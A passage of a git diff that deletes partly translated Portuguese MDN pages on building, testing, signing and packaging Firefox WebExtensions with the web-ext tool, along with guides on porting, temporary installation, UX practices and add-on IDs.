The run command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the name property in your manifest.json file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:

- -
web-ext run
- -

You can also press the r key in the web-ext terminal to trigger an extension reload.

- -

If you experience unexpected behavior with the reloading feature, please file a bug. You can also disable reloading like this:

- -
web-ext run --no-reload
- -
-

O reccaregamento da extensão só é suportado a paratir da versão do Firefox 49 ou superior .

-
- -

Testar em versões diferentes do Firefox

- -

To run your extension in a version of Firefox Desktop other than the default, use the --firefox option to specify a full path to the binary file. Here is an example for Mac OS:

- -
web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin
- -

On Windows, the path needs to include firefox.exe, for example:

- -
web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"
- -

See the run command reference to learn more.

- -

Testar no Firefox 48

- -

Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow web-ext to install an extension remotely. You need to run your extension in Firefox 48 using:

- -
web-ext run --pre-install
- -

Testar no Firefox para Android

- -

To run your extension in Firefox for Android, follow these instructions to set up your computer and device.

- -

With your device connected to your development computer, run:

- -
web-ext run --target=firefox-android
- -

This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.

- -

Now, add the device ID to the command:

- -
web-ext run --target=firefox-android --android-device=<device ID>
- -

If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:

- -
web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox
- -

The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The web-ext output guides you in how to grant these permissions.

- -

The web-ext command does not alter any of your existing Firefox for Android preferences or data. To see more information about how web-ext is interacting with your device, run the command with --verbose.

- -

See the run command reference to learn more.

- -

Depurar no Firefox para Android

- -

When using web-ext run to test an extension on Firefox for Android, you'll notice a message like this in the console output:

- -
You can connect to this Android device on TCP port 51499
-
- -

This is a remote debugger port that you can connect to with Firefox's developer tools. In this case, you'd connect to host localhost on port 51499.

- -

See this guide for more information about debugging an extension on Firefox for Android.

- -

Testar extensões não assinadas

- -

When you execute web-ext run, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with web-ext build and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an unbranded build or use a development build to install unsigned extensions.

- -

Utilizar um perfil personalizado

- -

By default, the run command will create a temporary Firefox profile. To run your extension with a specific profile use the --firefox-profile option, like this:

- -
web-ext run --firefox-profile=your-custom-profile
- -

This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the run command.

- -

Manter alterações de perfil

- -

The run command does not save any changes made to the custom profile specified by --firefox-profile. To keep changes, add this option:

- -
web-ext run --keep-profile-changes --firefox-profile=your-custom-profile
- -

This may be helpful if your extension has many different run states.

- -
-

This option makes the profile specified by --firefox-profile completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for web-ext to operate.

-
- -

Empacotar a sua extensão

- -

Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to addons.mozilla.org using the following command:

- -
web-ext build
- -

This outputs a full path to the generated .zip file that can be loaded into a browser.

- -
-

The generated .zip file doesn't work on Firefox without signing or adding applications.gecko.id key into manifest.json.  For more information, please refer WebExtensions and the Add-on ID page.

-
- -

web-ext build is designed to ignore files that are commonly not wanted in packages, such as .git, node_modules, and other artifacts.

- -

See the build reference guide to learn more.

- -

Assinar a sua extensão para distribuição

- -

As an alternative to publishing your extension on addons.mozilla.org, you can self-host your package file but it needs to be signed by Mozilla first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:

- -
web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET 
- -

The API options are required to specify your addons.mozilla.org credentials.

- -
    -
  • --api-key: the API key (JWT issuer) from addons.mozilla.org needed to sign the extension. This is a string that will look something like user:12345:67.
  • -
  • --api-secret: the API secret (JWT secret) from addons.mozilla.org needed to sign the extension. This is a string that will look something like 634f34bee43611d2f3c0fd8c06220ac780cff681a578092001183ab62c04e009.
  • -
- -

See the sign reference guide to learn more.

- -

Assinar as extensões sem uma Id. explicita

- -

web-ext supports signing extensions that do not declare the applications.gecko.id property in their manifest. The first time you sign an extension without an explicit ID, addons.mozilla.org will generate an ID and web-ext will save it to .web-extension-id in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the applications.gecko.id property or use the --id option when signing, for example:

- -
web-ext sign --api-key=... --api-secret=... --id="{c23c69a7-f889-447c-9d6b-7694be8035bc}"
- -

Assinar num ambiente restringido

- -

If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:

- -
web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000
- -

See the --api-proxy option to learn more.

- -

The following domains are used for signing and downloading files:

- -
    -
  • addons.mozilla.org
  • -
  • addons.cdn.mozilla.net
  • -
- -

Verificar com o código "lint"

- -

Before trying out your extension with the run command or submitting your package to addons.mozilla.org, use the lint command to make sure your manifest and other source files do not contain any errors. Example:

- -
web-ext lint
- -

This uses the addons-linter library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.

- -

See the lint reference guide to learn more.

- -

Definindo as predefinições de opção num ficheiro de configuração

- -

You can specify --config=my-config.js to set default values for any option. Here is an example with the build command:

- -
web-ext --config=my-config.js build
- -

The file should be a CommonJS module as understood by NodeJS and must export each configuration value. Here is how you would set the default value of --verbose to true:

- -
module.exports = {
-  verbose: true,
-};
- -

If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for --overwrite-dest that only applies to the build command as well as --firefox that only applies to the run command:

- -
module.exports = {
-  // Global options:
-  verbose: true,
-  // Command options:
-  build: {
-    overwriteDest: true,
-  },
-  run: {
-    firefox: 'nightly',
-  },
-};
- -

To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, --overwrite-dest was converted to overwriteDest.

- -

If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple --ignore-files patterns:

- -
module.exports = {
-  ignoreFiles: [
-    'package-lock.json',
-    'yarn.lock',
-  ],
-};
- -

Automatic discovery of configuration files

- -

web-ext will load existing configuration files in the following order:

- -
    -
  • A config file named .web-ext-config.js in your home directory, for example: - -
      -
    • On Windows: C:\Users\<username>\.web-ext-config.js
    • -
    • On macOS: /Users/<username>/.web-ext-config.js
    • -
    • On Linux: /home/<username>/.web-ext-config.js
    • -
    -
  • -
  • A config file named web-ext-config.js in the current directory.
  • -
- -

If a home directory config and a local directory config define the same option, the value from the latter file will be used.

- -

To disable automatic loading of configuration files, set this option:

- -
web-ext --no-config-discovery run
- -

To diagnose an issue related to config files, re-run your command with --verbose. This will tell you which config file affected which option value.

- -

Specifying different source and destination directories

- -

The preceding commands use default directories for the extension source and artifact creation (for example, built .zip files). The defaults are:

- -
    -
  • Source: The directory you are in.
  • -
  • Artifacts: A directory called ./web-ext-artifacts, created inside the current directory.
  • -
- -

You can specify different source and destination directories using the --source-dir and --artifacts-dir options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:

- -
web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips
- -

Outputting verbose messages

- -

To see in detail what web-ext is doing when you run a command, include the --verbose option. For example:

- -
web-ext build --verbose
- -

Viewing all commands and options

- -

You can list all commands and options like this:

- -
web-ext --help
- -

You can list options for a specific command by adding it as an argument:

- -
web-ext --help run
- -

Detecting temporary installation

- -

Your extension can detect whether it was installed using web-ext run, rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of details.temporary.

- -

Using web-ext from a script

- -

You can use web-ext as a NodeJS module. Here is more information, with example code.

- -

Consulte também

- - diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html deleted file mode 100644 index 79765663bf..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Publicar a sua extensão -slug: orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_ -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ -original_slug: Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao ---- -
{{AddonSidebar}}
- -

 

- -
-
-

Packaged extensions in Firefox are called "XPI files", which are ZIP files with a different extension.

- -

You don't have to use the XPI extension when uploading to AMO.

-
-
- -

 

- -

During development, your extension will consist of a directory containing a manifest.json file and the other files it needs—scripts, icons, HTML documents, and so on. You need to zip these into a single file for uploading to AMO.

- -

If you're using web-ext, use web-ext build to package your extension. Otherwise, follow the instructions below for your chosen operating system.

- -
-

Dica: The ZIP file must be a ZIP of the extension's files themselves, not of the directory containing them.

-
- -

Windows

- -
    -
  1. Abra a pasta com os seus ficheiros da extensão.
  2. -
  3. Selecione todos os ficheiros.
  4. -
  5. Clique direito e escolha "Enviar para" → Pasta Comprimida (zipped).
  6. -
- -

- -

Mac OS X

- -
    -
  1. Open the folder with your extension's files.
  2. -
  3. Select all of the files.
  4. -
  5. Right click and choose Compress n Items.
  6. -
- -

- - - -

Linux / Mac OS X Terminal

- -
    -
  1. Open Terminal.
  2. -
  3. Open the directory containing your extension's files,  using the command
    - cd path/to/my-extension/
  4. -
  5. ZIP the content of the directory, using the command
    - zip -r -FS ../my-extension.zip *
  6. -
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html deleted file mode 100644 index 80bb6bbe4f..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Conversão de uma extensão do Google Chrome -slug: orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension -original_slug: Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome ---- -
{{AddonSidebar}}
- -

As extensões desenvolvidas com as APIs de Extensão da Web são preparadas para compatibilidade entre navegadores: em grande medida, a tecnologia é diretamente compatível com a API de extensão suportada pelo Google Chrome e Opera. As extensões escritas para estes navegadores irão, na maioria do casos, ser executadas no Firefox com apenas algumas alterações. Quase todas das  APIs de extensão são suportadas, utilizando as funções de chamada sob o espaço de nome  chrome, o mesmo que Chrome. As únicas APIs que não são suportadas no nome de espaço chrome são aquelas que são intentionalmente incompatíveis com o Chrome. Nesses casos, a página da documentação de API irá declarar explicitamente que só é suportado no espaço do nome browser . O processo de transferir uma extensão do Chrome para Opera é como isto:

- -
    -
  1. Reveja a sua utilização das funcionaldiades de manifest.json e APIs da Extensão da Web contra a referência de incompatibilidade do Chrome. Se estiver a utilizar as funcionalidades ou APIs que ainda não são suportadas no Firefox, poderá não conseguir converter ainda a sua extensão. A Mozilla fornece um serviço que pode ajudar a automatizar este passo: Teste de Compatibilidade de Extensão para Firefox (inglês).
  2. -
  3. Instale a sua extensão no Firefox e teste-a.
  4. -
  5. Se tiver quaisquer problemas, contacte-nos em lista de endereços ou #webextensions no IRC.
  6. -
  7. Submeta o seu extra em AMO para assinar e distribuir
  8. -
- -

Se estava dependente da opção da linha de comando do Chrome para carregar uma extensão descompactada, consulte a ferramenta web-ext que automatiza a instalação temporária no Firefox para desenvolvimento.

- -
    -
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html deleted file mode 100644 index 9f07f71f19..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Conversão de uma extensão legada do Firefox -slug: orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on -original_slug: Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox ---- -
{{AddonSidebar}}
- -

Se desenvolveu uma extensão do Firefox utilziando XUL/XPCOM ou SDK de EXtras, esta página irá ajudá-lo a migraar a sua extensão para utilizar as APIs das Extensões da Web. O padrão para criar extensões para o Firefox é para utilizar as APIs das Extensões da Web. Este será a único tipo de extensão suportado no Firefox no fim de novembro de 2017, com o lançamento da versão 57 do Firefox.

- -

Início rápido

- -
    -
  1. Get an idea of the main things you'll have to change in your extension: - -
  2. -
  3. Rewrite your extension code. See below for migration paths for different types of extensions. From Firefox 51 onwards, you can embed an extension built using WebExtension APIs in a bootstrapped extension or an SDK add-on, and can thus port a legacy extension a piece at a time, and have a working extension at each step. See Embedded WebExtensions for more information.
  4. -
  5. When you're ready to submit the WebExtension version of your extension to AMO... wait a minute... are you truly ready? Because of the extensions permissions model, you cannot revert from WebExtensions back to using a legacy extension format. So test thoroughly, because this is a permanent one-way trip. Also, see the hybrid example below. If you're not ready, you can embed your WebExtension in a legacy extension container, which allows you to test your extension migration but still go back if needed in an emergency.
  6. -
  7. When you're really ready to submit the WebExtension version of your extension to AMO, first port your old add-on ID to the new WebExtension manifest.json file. Your extension must have the same ID as previous versions. Copy the value in the "id" field from your package.json file into the id field in the applications section of the WebExtension manifest.json file. Then you can submit your extension update to AMO as your normally would.
  8. -
- -
-

Note that this is a one-way conversion: You cannot update an extension using WebExtensions to use a legacy technology. This means that you must be sure that you are ready to commit to using WebExtension APIs before you submit the updated add-on to AMO.

-
- -

Camnihos de migração

- -

Extensões SDK

- -

Here is the comparison chart showing SDK APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtensions APIs, look below to learn how to request APIs and also how to implement them.

- -

Extensões XUL/XPCOM

- -

Here is the comparison chart showing XUL/XPCOM APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtension APIs, look below to learn how to request APIs and also how to implement them.

- -

Migração parcial

- -

An Embedded WebExtension is an extension that combines two types of extensions in one, by incorporating a WebExtension inside of a bootstrapped or SDK extension. If you have a legacy extension that writes data to the filesystem, and you’re planning to port it to WebExtensions, Embedded WebExtensions are available to help you transition. Embedded WebExtensions can be used to transfer the stored data of your add-on to a format that can be used by WebExtensions. This is essential because it lets you to convert your users without the need for them to take any actions.

- -

It’s important to emphasize that Embedded WebExtensions are intended to be a transition tool, and will not be supported past Firefox 57. They should not be used for add-ons that are not expected to transition to WebExtensions.

- -

Não vê as APIs das Extensões da Web que precisa?

- -

Develop WebExtension APIs for Firefox - If you're experienced with Mozilla infrastructure and would like to develop WebExtensions APIs directly for Firefox, here is a list of approved APIs that you can start contributing to.

- -

Experiment with new WebExtension APIs - If you want to prototype and tinker with WebExtensions APIs without having to build Firefox, WebExtensions Experiments is for you!

- -

Request a new WebExtensions API - If you want to request a new WebExtensions API, please read this page.

- -

Ferramentas

- -
    -
  • web-ext is a command line tool designed to speed up various parts of the extension development process, making development faster and easier.
  • -
  • WebExtensions Helper speeds up browser extension development by providing utilities for WebExtensions-based (Firefox, Chrome, Opera and Edge) extensions
  • -
  • Chrome Extension generator creates everything you need to get started with extension development. You can choose Browser UI(Browser,Page Action, Omnibox) type and select permissions you need.
  • -
  • Extensionizr is a wizard that helps you create a basic extension
  • -
  • Chrome Boilerplate is boilerplate code for Chrome WebExtension.
  • -
  • Skeleton Chrome Extension is an extension bootstrap and template
  • -
- -

Documentação

- - - -

Contactar

- -
    -
  • -

    Pode utilizar as hiperligações aqui para obter ajuda, manter-se atualizado com as novidades sobre os extras, e dar-nos a sua opinião.

    -
  • -
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html deleted file mode 100644 index 3762abb721..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Instalação temporária no Firefox -slug: orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox -original_slug: Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox ---- -
{{AddonSidebar}}
- -

Este artigo descreve como um programador de extra (add-on) pode instalar temporariamente uma extensão no Firefox para testes e depuração. A extensão permanecerá instalada até que reinicie o Firefox. Pode utilizar este método com qualquer tipo de extensão sem reinício, incluindo as extensões bootstrapped e extras de Add-on SDK.

- -

Note that this is not how end users should install add-ons in Firefox. End users will install add-ons by downloading and opening packaged add-ons that have been signed by Mozilla. To learn how an extension developer can get an add-on packaged and signed, see Publishing your extension.

- -

To install an extension temporarily:

- -
    -
  • open Firefox
  • -
  • enter "about:debugging" in the URL bar
  • -
  • click "Load Temporary Add-on"
  • -
  • open the extension's directory and select any file inside the extension.
  • -
- -

The extension will be installed, and will stay installed until you restart Firefox.

- -

{{EmbedYouTube("cer9EUKegG4")}}

- -

Recarregar uma extensão temporária

- -

Starting in Firefox 48, there's a new button labeled "Reload" next to the extension's entry in about:debugging:

- -

This does what it says:

- - - -

{{EmbedYouTube("NuajE60jfGY")}}

- -
-

Note that in Firefox 48 only, "Reload" does not update the extension's name and description that are displayed in about:debugging and about:addons. This is fixed in Firefox 49.

-
- -

Utilizar a linha de comando

- -

If you are already using the command line for development, check out the web-ext tool. It automates the temporary installation step and automatically reloads your extension when its source code changes.

- -

Detetar instalaçao temporária

- -

Your extension can detect whether it was installed from about:debugging rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event, and check the value of details.temporary.

diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html deleted file mode 100644 index c0a2e7eb1d..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: As melhores práticas de experiência do utilizador -slug: orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices -tags: - - Extensões - - Extras - - Guía - - IU - - UX -translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices -original_slug: >- - Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador ---- -
{{AddonSidebar()}}
- -

As melhores extensões do Firefox fornecem aos utilizadores uma nova funcionalidade ou recurso que corresponde a uma necessidade. Ao corresponder a essa necessidade irá ajudar os utilziadores a trabalhar de uma maneira mais inteligente ou eficiente, ou a obter mais prazer com a sua experiência de navegação.

- -

You will also want to make sure your users have a great experience using your extension and as a result give it great feedback and a good rating on addons.mozilla.org (AMO).

- -

Much has been written about what makes software usable. If you are new to the subject, a good place to start is Jakob Nielsen’s Usability Heuristics. We recommend, whether you are new to extension development or a seasoned pro, using Nielsen’s Heuristics as a checklist when testing your user experience (UX).

- -

So, here we discuss much more specific Firefox and browser extension UX features, offering advice and suggestions that will help you build an extension that delights your users.

- -

Seja Firefoxy

- -

Your users have chosen Firefox for a reason, possibly several reasons, so match your extension’s philosophy, features, and look and feel to that of Firefox.

- -

Design values

- -

To best meet the needs of Firefox users, align with the Firefox values.

- -

The Firefox Design Values state that we respect the user's privacy and sovereignty and do not surprise them. We start users with smart defaults on the functionality they want to use and enable them to customize those to their personal preferences so that they are in full control of their experience. We add humor and whimsy to our design and pay attention to details, quality, and performance. Local differences in a global world are important to us, and we help people make sense of the web in clear language.

- -

Apresentação e impressão

- -

To provide your extensions with the best long term fit to Firefox, align with the Firefox Photon Design System. Following Photon will ensure that your extension integrates with the Firefox experience and will make it easier for people to use.

- -

Mantenha-a focada

- -

An extension is best when it is centered around one main use case, addressing that use case as well as possible for the target audience. It should add one function or set of closely related functions to the browser, modify a function of the browser, or modify web pages. Determine if you have achieved this by asking whether you can easily communicate the features and purpose of the extension in three (short) sentences or less.

- -
-

A short summary description of your extension is also very useful when it comes to creating its listing on AMO, see Make sure your summary is just long enough for more details.

-
- -

Comece agora mesmo

- -

Ensure that your extension is ready to be used immediately after installation. It should be optimized for its main use case, and work as expected for most users without the need for customization.

- -

Do not expect your users to read detailed instructions, other content, or ask them to configure the extension to use it. Doing so could mean they never get started with your extension and, if they do, could result in poor reviews.

- -

Dê aos utilizadores o que eles precisam, onde eles precisam

- -

Choosing the right way or combination of ways to make your extension's functionality available to the user can have a significant effect on usability. Asking a few simple questions about your extension’s functionality can quickly guide you to the right choices:

- -

A minha extensão funciona na maioria dos sites da Web e páginas da Web?

- -

If your extension provides the user with features they can use on almost every website or page, give the user access to it from a toolbar button using the browser action. This might include providing access to your image editor or opening a page from your website.

- -

- -

Where you have several features you want to give the user access, you can add a popup to the button.

- -

A minha extensão funciona apenas em alguns sites da Web e páginas?

- -

If your extension offers a feature for a type of web page or specific domains, give the user access to it from an address bar button using a page action. This might include providing access to your RSS reader on pages with RSS feeds or providing an extended feature to pages on your website.

- -

- -

Where you have several features you want to give the user access, you can add a popup to the button.

- -

A minha extensão precisa de mostrar informação ou oferecer ações em paralelo com as páginas da Web?

- -

If your extension includes information or actions that a user would want immediate access to while viewing any web page, use a sidebar. This might include notes the user can make about a page’s content or a feature offering various font substitutions to improve readability.

- -



- -

A minha extensão oferece funcionalidade especifica para o conteúdo da página ou outras funcionalidades do navegador?

- -

If your extension offers features the user might want to access in context, add them to an appropriate context menu. This might include offering access to an image editor on the image context menu or offering extended copy features on the context menu for selected page content.

- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

A minha extensão tem definições que o utilizador pode ajustar?

- -

If your extension enables the user to change and save settings that affect the behavior of the extension, use an options page to provide a standard Preferences link to settings from the Add-on Manager.

- -

Typical preferences button, to access an extension's settings, from the Add-on Manager

- -

A minha extensão precisa de recolher muita informação ou exibir conteúdo em adição aos separadores atuais?

- -

Where your extension needs to gather or display significant amounts of information (more than is suitable for an alert or would benefit from additional formatting) use bundled web pages to deliver forms and similar content.

- -

Example of a simple bundled page displayed as a detached panel.

- -

A minha extensão tenta ajudar o utilizador a entrar as páginas da Web ou conteúdo?

- -

Where your extension includes a use case to locate web pages or content, for example, offering a site specific search, use address bar suggestions to deliver those recommendations.

- -

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

- -

A minha extensão oferece ferramentas para os programadores?

- -

Where you are providing tools for developers, add them to the Firefox developer tools using developer tools panels.

- -

Mantenha o utilizador informado

- -

Ensuring the user knows what will happen, is happening, and has happened in your extension is an essential part of building trust and ensuring a happy user.

- -

Diga ao utilizador o que irá acontecer, antes que aconteça

- -

Users should understand what will happen when they click a button. In addition to a meaningful, descriptive button label, provide tooltips that describe the action that the button will perform.

- -
-

Do not put the name of the extension alone in the tooltip, unless it is descriptive of the action the button will perform.

-
- -

Do not use the tooltip for any other types of information such as elaborate statistics about your extension. Keep the tooltip content simple and focused on what will happen when the user clicks the button.

- -

Se é realmente importante e o utilizador afastou-se, notifique-os

- -

If your extension has completed a critical, long running background task, when the task completes use the operating system’s native notifications to update the user. This can be useful where the user may not be focusing on the extension, or the browser, when the process finishes. However, use sparingly. If it is sufficient for the user to discover that a process has completed when they return to the browser or extension, do not use notifications.

- -

- -

Utilizar browserAction badges sparingly

- -

You can add a badge over the toolbar icon of a browserAction, but do so sparingly to inform users about important events. Do not use them to provide regular or persistent status updates.

- -

When it comes to coloring a badge, using one of four colors for notifications of different severity is recommended:

- -
    -
  • Casual: azul
  • -
  • Sucesso: verde
  • -
  • Aviso: amarelo
  • -
  • Erro: vermelho
  • -
- -
-

Use of Firefox colors is suggested, for more details see Firefox Colors. However, for compatibility with Chrome and Opera free color selection is supported.

-
- -

Testar, testar, e depois testar novamente

- -

Testing is a vital part of creating an outstanding UX for your extension. There are two key aspects of testing your UX:

- -
    -
  1. Test across devices and platforms to ensure your extension works and performs well in as many places as possible. This includes considering factors such as the user’s screen size and resolution—just because your extension looks good and is easy to use on your desktop monitor does not mean it looks as good and works as well on a smaller laptop screen, or, indeed, vice versa.
  2. -
  3. Test with as many users as possible. Do not assume that you know your audience, as people’s backgrounds and experience can make a huge difference to how they interact with your extension. So, allow for user testing as part of your extension’s development.
  4. -
- -

Dicas de teste:

- -
    -
  • In AMO you have the option to identify your extension as experimental or publish a beta or other non-final release. If you flag your extension as experimental it is listed in AMO, so that any user can find it, but with a lower profile. When you are happy that the extension is ready for a wider audience, you can turn off the experimental flag and your extension will be listed as normal in AMO. If you have a published extension, you can use the Development channel to offer an alpha or beta version for testing. You will need to direct your testers to the Development Channel of your extension’s listing or let your testers know the link to use to install your extension.
    - The development channel section of an extension's listing page, offering access to alpha and beta versions for testing.
    - When you are happy with your update, you can publish it as the new release version of your extension.
  • -
  • If you want to distribute your extension to users outside AMO, you can find the instructions for doing so, and the installation instructions you need to provide users, in the article on Sideloading add-ons. Remember that, unlike distribution through AMO, you will need to send users any updated versions of your extension as you make improvements.
  • -
  • Use the Responsive Design Mode to test your extension for its behavior on other screen sizes and device types.
  • -
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html deleted file mode 100644 index 6c3e2066c2..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Extensões e a Id. do extra -slug: orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID -tags: - - Extensões da Web - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID -original_slug: Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra ---- -
{{AddonSidebar}}
- -
-

Os extras do Firefox contêm uma Id. única que é utilziada para distinguir este extra de qualquer outro extra do Firefox.

- -

Este artigo descreve como as Ids. de extra são tratados para as extensões criadas com APIs WebExtensions.

-
- -

Firefox add-ons contain a unique identifier which is used both inside Firefox itself and on the addons.mozilla.org (AMO) website. For example, it's used by Firefox to check for updates to installed add-ons and to identify which objects (such as data stores) are controlled by this add-on.

- -

With older types of Firefox add-on, the add-on developer must set the add-on ID explicitly. XUL/XPCOM add-ons set the ID in the install manifest, while SDK add-ons set it in the package.json.

- -

However, from Firefox 48 you can develop, debug, publish, and update extensions without needing to set an explicit ID at all.

- -
-

Note that the ability to develop and debug WebExtensions that don't include an ID is new in Firefox 48. If you need to use an earlier version of Firefox, then you must use the applications key to set an ID explicitly.

-
- -

Basic workflow with no add-on ID

- -

Extensions can explicitly set the add-on ID using the applications key in manifest.json. However, this key is usually optional. If you don't set it, then you can usually develop, debug, publish, and update your extension without ever having to deal with an ID. One advantage of this is that Google Chrome does not recognize the applications key and will show a warning if you include it.

- -

Note, though, that some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs in Firefox, then you must set the ID explicitly using the applications key. See When do you need an Add-on ID?.

- -

Developing and debugging

- -

Starting in Firefox 48, if your manifest.json does not contain an ID then the extension will be assigned a randomly-generated temporary ID when you install it in Firefox through about:debugging. If you then reload the extension using the "Reload" button, the same ID will be used. If you then restart Firefox and load the add-on again, it will get a new ID.

- -

If you turn the extension into an .xpi or .zip and install it through about:addons, it will not work. To have it work in this scenario, you will need to add in the applications key in manifest.json

- -

Publishing

- -

Once you have finished developing the extension, you can package it and submit it to AMO for review and signing. If the packaged extension you upload does not contain an ID, AMO will generate one for you. It's only at this point that the add-on will be assigned a permanent ID, which will be embedded in the signed packaged extension.

- -

Note that once an extension has been given a permanent ID, you can't then update it to use the Add-on SDK or legacy XUL/XPCOM techniques. If you do switch to one of these platforms, you must submit it as a distinct new add-on, with a new ID.

- -

Updating

- -

Even after this point, though, you don't generally have to deal with the ID at all. You can continue to develop the add-on without an ID, and when you want to update, upload the new version by visiting the add-on's AMO page. Because you are uploading the add-on through that page, AMO knows that this is an update to this particular add-on, even though it doesn't contain an ID.

- -
-

It's essential with this workflow that you update the add-on manually using its page on AMO, otherwise AMO will not understand that the submission is an update to an existing add-on, and will treat the update as a brand-new add-on.

-
- -

You can do the same thing if you are updating from an older add-on type, such as a XUL/XPCOM add-on, to use WebExtensions APIs. Just visit the old add-on's page on AMO, upload the new extension there, and it will be treated as an update to the old version.

- -

Quando é que precisa de uma Id. de extra?

- -
    -
  • If you are loading the add-on from its XPI file, are not loading it temporarily using about:debugging and it is not signed.
  • -
  • If you use AMO's API for uploading your add-on, rather than uploading it manually on its page, then you need to include the add-on's ID in the request.
  • -
  • Some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs, then you must set the ID explicitly using the applications key. This applies to the following APIs: -
      -
    • {{WebExtAPIRef("storage.managed")}}
    • -
    • {{WebExtAPIRef("storage.sync")}}
    • -
    • {{WebExtAPIRef("identity.getRedirectURL")}}
    • -
    • Native messaging
    • -
    • {{WebExtAPIRef("pkcs11")}}
    • -
    • {{WebExtAPIRef("runtime.onMessageExternal")}}
    • -
    • {{WebExtAPIRef("runtime.onConnectExternal")}}
    • -
    -
  • -
  • Using Firefox for Android. See applications in manifest.json.
